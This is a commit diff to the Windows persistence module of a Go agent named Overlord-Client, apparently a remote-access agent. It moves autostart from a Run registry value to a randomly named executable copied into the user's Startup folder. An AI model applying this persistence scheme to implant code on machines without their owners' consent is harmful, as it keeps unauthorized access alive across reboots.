new persistence

Overlord-Client/cmd/agent/persistence/persistence_windows.go

@@ -16,23 +16,68 @@ import (
 )
 
 const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+const startupFolderRelative = `Microsoft\Windows\Start Menu\Programs\Startup`
+const startupExecutablePrefix = "ovd_"
+const cleanupExecutablePrefix = "ovlrd_"
+
 const legacyRegistryValueName = "OverlordAgent"
 const registryValuePrefix = "OverlordAgent-"
 
-func formatRunRegistryCommand(exePath string) string {
-	trimmed := filepath.Clean(exePath)
-	if len(trimmed) >= 2 && trimmed[0] == '"' && trimmed[len(trimmed)-1] == '"' {
-		return trimmed
-	}
-	return fmt.Sprintf("\"%s\"", trimmed)
-}
-
 func getTargetPath() (string, error) {
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
 		return "", fmt.Errorf("APPDATA environment variable not set")
 	}
-	return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil
+
+	startupDir := filepath.Join(appDataDir, startupFolderRelative)
+	if existing, ok := findExistingStartupExecutable(startupDir); ok {
+		return existing, nil
+	}
+
+	name, err := generateStartupExecutableName()
+	if err != nil {
+		return "", err
+	}
+
+	return filepath.Join(startupDir, name), nil
+}
+
+func getLegacyTargetPath() (string, bool) {
+	appDataDir := os.Getenv("APPDATA")
+	if appDataDir == "" {
+		return "", false
+	}
+	return filepath.Join(appDataDir, "Overlord", "agent.exe"), true
+}
+
+func findExistingStartupExecutable(startupDir string) (string, bool) {
+	entries, err := os.ReadDir(startupDir)
+	if err != nil {
+		return "", false
+	}
+
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := strings.ToLower(entry.Name())
+		if !strings.HasSuffix(name, ".exe") {
+			continue
+		}
+		if strings.HasPrefix(name, startupExecutablePrefix) || strings.HasPrefix(name, cleanupExecutablePrefix) {
+			return filepath.Join(startupDir, entry.Name()), true
+		}
+	}
+
+	return "", false
+}
+
+func generateStartupExecutableName() (string, error) {
+	b := make([]byte, 6)
+	if _, err := rand.Read(b); err != nil {
+		return "", fmt.Errorf("failed to generate startup executable name: %w", err)
+	}
+	return startupExecutablePrefix + hex.EncodeToString(b) + ".exe", nil
 }
 
 func install(exePath string) error {
@@ -42,24 +87,18 @@ func install(exePath string) error {
 		return err
 	}
 
-	overlordDir := filepath.Dir(targetPath)
-	err = os.MkdirAll(overlordDir, 0755)
+	startupDir := filepath.Dir(targetPath)
+	err = os.MkdirAll(startupDir, 0755)
 	if err != nil {
-		return fmt.Errorf("failed to create Overlord directory: %w", err)
+		return fmt.Errorf("failed to create startup directory: %w", err)
 	}
 
 	if err := replaceExecutable(exePath, targetPath); err != nil {
 		return err
 	}
 
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
-	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
-	}
-	defer k.Close()
-
-	if err := setStartupRunValue(k, targetPath); err != nil {
-		return fmt.Errorf("failed to set registry value: %w", err)
+	if err := cleanupLegacyRunValues(); err != nil {
+		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
 	}
 
 	return nil
@@ -106,52 +145,90 @@ func replaceExecutable(exePath, targetPath string) error {
 }
 
 func configure(exePath string) error {
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+	targetPath, err := getTargetPath()
 	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
+		return err
 	}
-	defer k.Close()
 
-	if err := setStartupRunValue(k, exePath); err != nil {
-		return fmt.Errorf("failed to set registry value: %w", err)
+	if exePath != "" && !strings.EqualFold(filepath.Clean(exePath), filepath.Clean(targetPath)) {
+		if err := replaceExecutable(exePath, targetPath); err != nil {
+			return err
+		}
+	}
+
+	if err := cleanupLegacyRunValues(); err != nil {
+		return fmt.Errorf("failed to clean legacy startup registry values: %w", err)
 	}
 
 	return nil
 }
 
 func uninstall() error {
-
-	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
-	if err != nil {
-		return fmt.Errorf("failed to open registry key: %w", err)
-	}
-	defer k.Close()
-
-	if err := cleanupOverlordRunValues(k); err != nil {
+	if err := cleanupLegacyRunValues(); err != nil {
 		return fmt.Errorf("failed to clean startup registry values: %w", err)
 	}
 
 	appDataDir := os.Getenv("APPDATA")
-	if appDataDir != "" {
-		targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe")
+	if appDataDir == "" {
+		return nil
+	}
 
-		os.Remove(targetPath)
+	startupDir := filepath.Join(appDataDir, startupFolderRelative)
+	if err := cleanupPrefixedExecutables(startupDir); err != nil {
+		return err
+	}
+
+	if err := cleanupPrefixedExecutables(filepath.Join(appDataDir, "Overlord")); err != nil {
+		return err
+	}
+
+	targetPath, err := getTargetPath()
+	if err == nil {
+		_ = os.Remove(targetPath)
+	}
+
+	if legacyPath, ok := getLegacyTargetPath(); ok {
+		_ = os.Remove(legacyPath)
 	}
 
 	return nil
 }
 
-func setStartupRunValue(k registry.Key, exePath string) error {
-	if err := cleanupOverlordRunValues(k); err != nil {
-		return err
-	}
-
-	name, err := generateStartupValueName()
+func cleanupPrefixedExecutables(dir string) error {
+	entries, err := os.ReadDir(dir)
 	if err != nil {
-		return err
+		if os.IsNotExist(err) {
+			return nil
+		}
+		return fmt.Errorf("failed to read startup cleanup directory %s: %w", dir, err)
 	}
 
-	return k.SetStringValue(name, formatRunRegistryCommand(exePath))
+	for _, entry := range entries {
+		if entry.IsDir() {
+			continue
+		}
+		name := strings.ToLower(entry.Name())
+		if strings.HasPrefix(name, cleanupExecutablePrefix) || strings.HasPrefix(name, startupExecutablePrefix) {
+			if err := os.Remove(filepath.Join(dir, entry.Name())); err != nil && !os.IsNotExist(err) {
+				return fmt.Errorf("failed to remove startup artifact %s: %w", filepath.Join(dir, entry.Name()), err)
+			}
+		}
+	}
+
+	return nil
+}
+
+func cleanupLegacyRunValues() error {
+	k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE)
+	if err != nil {
+		if err == registry.ErrNotExist {
+			return nil
+		}
+		return fmt.Errorf("failed to open registry key: %w", err)
+	}
+	defer k.Close()
+
+	return cleanupOverlordRunValues(k)
 }
 
 func cleanupOverlordRunValues(k registry.Key) error {
@@ -177,11 +254,3 @@ func isOverlordRunValueName(name string) bool {
 	}
 	return strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix))
 }
-
-func generateStartupValueName() (string, error) {
-	b := make([]byte, 6)
-	if _, err := rand.Read(b); err != nil {
-		return "", fmt.Errorf("failed to generate startup value name: %w", err)
-	}
-	return registryValuePrefix + hex.EncodeToString(b), nil
-}